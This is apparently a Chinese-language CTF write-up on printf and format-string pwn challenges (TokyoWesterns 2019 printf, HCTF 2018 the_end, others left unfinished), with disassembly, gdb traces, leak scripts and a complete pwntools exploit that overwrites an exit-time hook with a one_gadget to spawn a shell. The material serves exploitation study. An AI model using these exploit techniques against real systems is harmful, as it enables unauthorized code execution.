printf pwn

整理一下最近关于printf的非常规格式化字符串的题目。

TokyoWesterns CTF 2019 printf

题目简述 & 题目漏洞

题目给了libc,libc版本是2.29:

1
2
3
ubuntu@ubuntu:~/Documents/pwn/2019/twctf/printf$ strings libc.so.6 | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
Compiled by GNU CC version 8.3.0.

开的保护情况:

1
2
3
4
5
6
7
ubuntu@ubuntu:~/Documents/pwn/2019/twctf/printf$ checksec printf
[*] '/home/ubuntu/Documents/pwn/2019/twctf/printf/printf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

题目自己实现了一个prinf函数,我们暂且命名为my_printf。
在my_printf函数中,程序会对输入的格式化字符串进行逐字符处理,F5根据伪C代码可以看到程序对于一些特殊格式的判断,但是程序滤掉了%n,我们无法通过常规的格式化字符串漏洞进行地址写。但是函数有一个alloca操作,alloca函数是从栈里面动态分配内存,在程序返回时该内存会自动释放掉。对应汇编里是抬高了栈顶,抬高的大小是rax,rax开始赋值为[rbp+var_150],这个地方在反编译后看的比较清楚,这个变量是一个计数器,当格式化字符串的字符不是“%”时,它就会加1。这样就可以通过控制格式化字符串来控制rsp的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0000000000001C5D                 mov     rax, [rbp+var_150]
.text:0000000000001C64 lea rdx, [rax+8]
.text:0000000000001C68 mov eax, 10h
.text:0000000000001C6D sub rax, 1
.text:0000000000001C71 add rax, rdx
.text:0000000000001C74 mov esi, 10h
.text:0000000000001C79 mov edx, 0
.text:0000000000001C7E div rsi
.text:0000000000001C81 imul rax, 10h
.text:0000000000001C85 sub rsp, rax //here
.text:0000000000001C88 mov rax, rsp
.text:0000000000001C8B add rax, 0Fh
.text:0000000000001C8F shr rax, 4
.text:0000000000001C93 shl rax, 4

另外在my_printf函数最后会调用puts函数将输入的字符串输出,再输出时puts的参数是[rbp-0xd8],它会在遍历格式化字符串时将其存储在[rbp-0xd8]中,那么其实这段空间的地址在最开始有一个赋值操作,[rbp-0xd8] = rax,这两段代码其实正好是连着的,rax在0x1C88时被赋值为rsp。所以我们可以通过格式化字符串长度来控制rax从而控制rsp至目标地址,将格式化字符串写入这个地址。

1
2
3
4
5
6
7
8
9
10
.text:0000000000001C97                 mov     [rbp+var_D8], rax ; //here
.text:0000000000001C9E mov [rbp+var_D0.gp_offset], 8
.text:0000000000001CA8 mov [rbp+var_D0.fp_offset], 30h ; '0'
.text:0000000000001CB2 lea rax, [rbp+arg_0]
.text:0000000000001CB6 mov [rbp+var_D0.overflow_arg_area], rax
.text:0000000000001CBD lea rax, [rbp+var_B0]
.text:0000000000001CC4 mov [rbp+var_D0.reg_save_area], rax
.text:0000000000001CCB mov [rbp+idx], 0
.text:0000000000001CD6 mov [rbp+var_140], 0
.text:0000000000001CE1 jmp loc_2901

利用过程

开始要求输入name,长度为0x100,可以用来泄露libc基址、栈地址、程序基址和canary。
1

1
2
3
4
5
6
7
8
9
10
11
12
##leak addr
p.recvuntil("What's your name?\n")
payload = "%lx " * ((0x100-4)/4)
p.sendline(payload)
recv_data = p.recvuntil("Do you leave a comment?\n",drop = True)
recv_data = recv_data.split(' ')[-25:]
for i in range(4):
recv_data[i] = int(recv_data[i],16)
stack = recv_data[0]
canary = recv_data[1]
code_base = recv_data[2] - (0x555555556a40 - 0x555555554000)
libc_base = recv_data[3] - libc.symbols["__libc_start_main"] - 235

再利用第二次输入来达到在指定地址写one_gadget的目的。这里利用的是exit函数里的rop,在libc_base+0x1e66c8处写了one_gadget,而这个地址在libc_base+4736f中被赋值给了rbx,然后在libc_base+0x47398处call [ebx]从而触发one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000047368                 cmp     byte ptr [rsp+48h+var_3C], 0
.text:000000000004736D jz short loc_473A3
.text:000000000004736F lea rbx, off_1E66C8 //rbx = heap_base+0x1e66c8
.text:0000000000047376 lea rax, unk_1E66D0
.text:000000000004737D cmp rbx, rax
.text:0000000000047380 jnb short loc_473A3
.text:0000000000047382 lea rax, off_1E66C8+7
.text:0000000000047389 sub rax, rbx
.text:000000000004738C shr rax, 3
.text:0000000000047390 lea r12, [rbx+rax*8+8]
.text:0000000000047395 nop dword ptr [rax]
.text:0000000000047398
.text:0000000000047398 loc_47398: ; CODE XREF: sub_47170+231↓j
.text:0000000000047398 call qword ptr [rbx] //call one_gadget
.text:000000000004739A add rbx, 8
.text:000000000004739E cmp rbx, r12
.text:00000000000473A1 jnz short loc_47398

调试看的比较清楚,在程序偏移0x1c85处下断点,rax为0x8037420。
2
单步执行,程序栈顶抬高,栈顶变为0x7ffff7fc76a0,这个地址是libc_base(0x00007ffff7de1000)偏移0x1e66a0处。
3
4
然后rax被赋值为libc_base+0x1e66a0。最后在调用puts函数处下断点,libc_base+0x1e66c8处被写入了one_gadget。
5
最后在libc_base+0x47398调用处下断点,程序call [rbx]成功执行one_gadget。
6

完整的exp我就不贴了,比赛时这道题看了半天也不会做,参考的是这篇wp

De1CTF 2019 Unprintable(待补充)

题目描述 && 题目漏洞

libc版本是2.23,题目没有PIE,没有canary:

1
2
3
4
5
6
[*] '/home/ubuntu/Documents/2019/De1CTF/Unprintable/unprintable'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

题目逻辑很简单,输出一个临时变量v3的地址,可以泄露栈地址,然后就关闭了stdout,最后有一个格式化字符串漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to Ch4r1l3's printf test");
printf("This is your gift: %p\n", &v3);
close(1);
read(0, buf, 0x1000uLL);
printf(buf, buf);
exit(0);
}

参考

https://www.anquanke.com/post/id/183859
https://www.xctf.org.cn/library/details/79378efa88bff52451b2f822abe562d29ae7aade/

HCTF 2018 the_end

题目简述 && 题目漏洞

逻辑比较简单,在开始会输出sleep函数的地址,从而泄露libc。
关闭了stdout和stderr,最后有5次写的机会,在每次循环中,先输入一个地址,然后可以在指定地址写一个字节,5次就是可以写5个字节。最后调用exit函数。
这里有两种解法:

  1. 第一种利用的是exit函数中的一个gadget。
  2. 第二种解法是程序在调用exit函数退出时会触发_IO_flush_all_lockp,刷新所有的文件指针,即遍历_IO_list_all链中的每一项会遍历IO_list_all,然后调用虚表里的某些函数,这个类似于我们在house of orange里让libc触发abort从而调用_IO_flush_all_lockp是一样的。

第一种解法

先通过sleep函数泄露libc:

1
2
3
##leak libc_base
sleep_addr = p.recvuntil(', good luck',drop=True).split(' ')[-1]
libc_base = int(sleep_addr,16) - 0xcc230

程序在调用exit函数时会调用ld.so里的_dl_fini函数:
7
跟进_dl_fini函数_dl_fini+126处函数有一个操作

1
0x7ffff7de7b3e <_dl_fini+126>:	call   QWORD PTR [rip+0x216404] # 0x7ffff7ffdf48 <_rtld_global+3848>

8
这个地址0x7ffff7ffdf48与libc的偏移是0x5f0f48,可以将其覆写为one_gadget,但因为我们只能写5个字节,在未覆写之前,该处存储的值是:

1
2
3
4
5
6
7
8
9
10
gdb-peda$ x /8gx 0x7ffff7ffdf48
0x7ffff7ffdf48 <_rtld_global+3848>: 0x00007ffff7dd7c90 0x00007ffff7dd7ca0
0x7ffff7ffdf58 <_rtld_global+3864>: 0x00007ffff7deb0b0 0x0000000000000006
0x7ffff7ffdf68 <_rtld_global+3880>: 0x0000000000000001 0x00007ffff7fde8e0
0x7ffff7ffdf78 <_rtld_global+3896>: 0x0000000000000001 0x0000000000001000
gdb-peda$ x /8gx 0x00007ffff7dd7c90
0x7ffff7dd7c90 <rtld_lock_default_lock_recursive>: 0x2e6690c301044783 0x0000000000841f0f
0x7ffff7dd7ca0 <rtld_lock_default_unlock_recursive>: 0x2e6690c301046f83 0x0000000000841f0f
0x7ffff7dd7cb0 <lookup_doit>: 0x45c93145fb894853 0x8b4810ec8348c031
0x7ffff7dd7cc0 <lookup_doit+16>: 0x00001047c7480877 0x480824548d480000

所以可以覆写低5个字节,然后触发one_gadget。
最后在调试的时候注意因为题目关了输出,所以本地只有发送一个“exec /bin/sh 1>&0”才会get shell,而且还是在开了socat的情况下成功get shell。
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context.log_level="debug"
#context.terminal = ["tmux","split","-h"]

DEBUG = 1
if DEBUG:
p = process("./the_end")
else:
p = remote("127.0.0.1",23330)

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")



##leak libc_base
sleep_addr = p.recvuntil(', good luck',drop=True).split(' ')[-1]
libc_base = int(sleep_addr,16) - 0xcc230

one_gadget = libc_base + 0xf02a4

#call qword ptr [rip + 0x216414] 0x7ffff7ffdf48 <_rtld_global+3848>
target_addr = libc_base + 0x5f0f48

gdb.attach(p)

for i in range(5):
p.send(p64(target_addr+i))
p.send(p64(one_gadget)[i])


p.sendline("exec /bin/sh 1>&0")
p.interactive()

第二种解法

0x00 CTF 2017 left(待补充)

参考

https://github.com/agadient/CTF/tree/master/tokyo
https://www.cnblogs.com/hac425/p/9959748.html
https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/pwn/left-250